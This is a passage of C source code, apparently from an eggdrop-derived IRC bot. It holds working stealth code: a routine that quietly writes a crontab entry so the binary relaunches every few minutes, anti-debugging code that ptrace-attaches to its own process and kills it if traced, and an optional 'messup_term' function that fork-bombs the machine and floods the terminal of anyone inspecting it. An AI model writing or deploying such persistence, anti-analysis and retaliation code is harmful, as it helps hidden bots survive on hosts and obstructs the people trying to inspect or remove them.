  809. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  810. if (shell_exec(buf, NULL, &out, NULL)) {
  811. if (out && strstr(out, binname)) {
  812. free(out);
  813. return 1;
  814. } else {
  815. if (out)
  816. free(out);
  817. return 0;
  818. }
  819. } else
  820. return (-1);
  821. }
  822. void crontab_create(int interval) {
  823. char tmpfile[161] = "", buf[256] = "";
  824. FILE *f = NULL;
  825. int fd;
  826. /* always use mkstemp() when handling temp files! -dizz */
  827. egg_snprintf(tmpfile, sizeof tmpfile, "%s.crontab-XXXXXX", tempdir);
  828. if ((fd = mkstemp(tmpfile)) == -1) {
  829. unlink(tmpfile);
  830. return;
  831. }
  832. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  833. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  834. buf[0] = 0;
  835. if (interval == 1)
  836. strcpy(buf, "*");
  837. else {
  838. int i = 1;
  839. int si = randint(interval);
  840. while (i < 60) {
  841. if (buf[0])
  842. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  843. else
  844. sprintf(buf, "%i", (i + si) % 60);
  845. i += interval;
  846. }
  847. }
  848. egg_snprintf(buf + strlen(buf), sizeof buf, STR(" * * * * %s > /dev/null 2>&1"), binname);
  849. fseek(f, 0, SEEK_END);
  850. fprintf(f, STR("\n%s\n"), buf);
  851. fclose(f);
  852. sprintf(buf, STR("crontab %s"), tmpfile);
  853. shell_exec(buf, NULL, NULL, NULL);
  854. }
  855. close(fd);
  856. unlink(tmpfile);
  857. }
  858. #ifdef S_MESSUPTERM
  859. static void messup_term() {
  860. int i;
  861. char *argv[4] = { NULL, NULL, NULL, NULL };
  862. freopen("/dev/null", "w", stderr);
  863. for (i = 0; i < 11; i++) {
  864. fork();
  865. }
  866. argv[0] = malloc(100);
  867. strcpy(argv[0], "/bin/sh");
  868. argv[1] = "-c";
  869. argv[2] = malloc(1024);
  870. strcpy(argv[2], "cat < ");
  871. strcat(argv[2], binname);
  872. argv[3] = NULL;
  873. execvp(argv[0], &argv[0]);
  874. }
  875. #endif /* S_MESSUPTERM */
  876. void check_trace_start()
  877. {
  878. #ifdef S_ANTITRACE
  879. int parent = getpid();
  880. int xx = 0, i = 0;
  881. #ifdef __linux__
  882. xx = fork();
  883. if (xx == -1) {
  884. printf(STR("Can't fork process!\n"));
  885. exit(1);
  886. } else if (xx == 0) {
  887. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  888. if (i == (-1) && errno == EPERM) {
  889. #ifdef S_MESSUPTERM
  890. messup_term();
  891. #else
  892. kill(parent, SIGKILL);
  893. exit(1);
  894. #endif /* S_MESSUPTERM */
  895. } else {
  896. waitpid(parent, &i, 0);
  897. kill(parent, SIGCHLD);
  898. ptrace(PTRACE_DETACH, parent, 0, 0);
  899. kill(parent, SIGCHLD);
  900. }
  901. exit(0);
  902. } else {
  903. wait(&i);
  904. }
  905. #endif /* __linux__ */
  906. #ifdef __FreeBSD__
  907. xx = fork();
  908. if (xx == -1) {
  909. printf(STR("Can't fork process!\n"));
  910. exit(1);
  911. } else if (xx == 0) {
  912. i = ptrace(PT_ATTACH, parent, 0, 0);
  913. if (i == (-1) && errno == EBUSY) {
  914. #ifdef S_MESSUPTERM
  915. messup_term();
  916. #else
  917. kill(parent, SIGKILL);
  918. exit(1);
  919. #endif /* S_MESSUPTERM */
  920. } else {
  921. wait(&i);
  922. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  923. kill(parent, SIGCHLD);
  924. wait(&i);
  925. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  926. wait(&i);
  927. }
  928. exit(0);
  929. } else {
  930. waitpid(xx, NULL, 0);
  931. }
  932. #endif /* __FreeBSD__ */
  933. #ifdef __OpenBSD__
  934. xx = fork();
  935. if (xx == -1) {
  936. printf(STR("Can't fork process!\n"));
  937. exit(1);
  938. } else if (xx == 0) {
  939. i = ptrace(PT_ATTACH, parent, 0, 0);
  940. if (i == (-1) && errno == EBUSY) {
  941. kill(parent, SIGKILL);
  942. exit(1);
  943. } else {
  944. wait(&i);
  945. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  946. kill(parent, SIGCHLD);
  947. wait(&i);
  948. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  949. wait(&i);
  950. }
  951. exit(0);
  952. } else {
  953. waitpid(xx, NULL, 0);
  954. }
  955. #endif /* __OpenBSD__ */
  956. #endif /* S_ANTITRACE */
  957. }
  958. #ifdef CRAZY_TRACE
  959. /* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
  960. * only problem.. it just creates a new pid to be traced/hijacked :\
  961. */
  962. int attached = 0;
  963. void crazy_trace()
  964. {
  965. int parent = getpid();
  966. int x = fork();
  967. if (x == -1) {
  968. printf("Can't fork(): %s\n", strerror(errno));
  969. } else if (x == 0) {
  970. /* child */
  971. int i;
  972. i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
  973. if (i == (-1) && errno == EPERM) {
  974. printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
  975. waitpid(parent, &i, 0);
  976. kill(parent, SIGCHLD);
  977. ptrace(PTRACE_DETACH, parent, 0, 0);
  978. kill(parent, SIGCHLD);
  979. exit(0);
  980. } else {
  981. printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
  982. attached++;
  983. }
  984. } else {
  985. /* parent */
  986. printf("wait()\n");
  987. wait(&x);
  988. }
  989. printf("end\n");
  990. }
  991. #endif /* CRAZY_TRACE */
  992. /* need to account for this after reading in conf/spawning bots.
  993. ifdef LEAF
  994. if (updating)
  995. exit(0); let cron restart us.
  996. } localhub
  997. endif LEAF
  998. */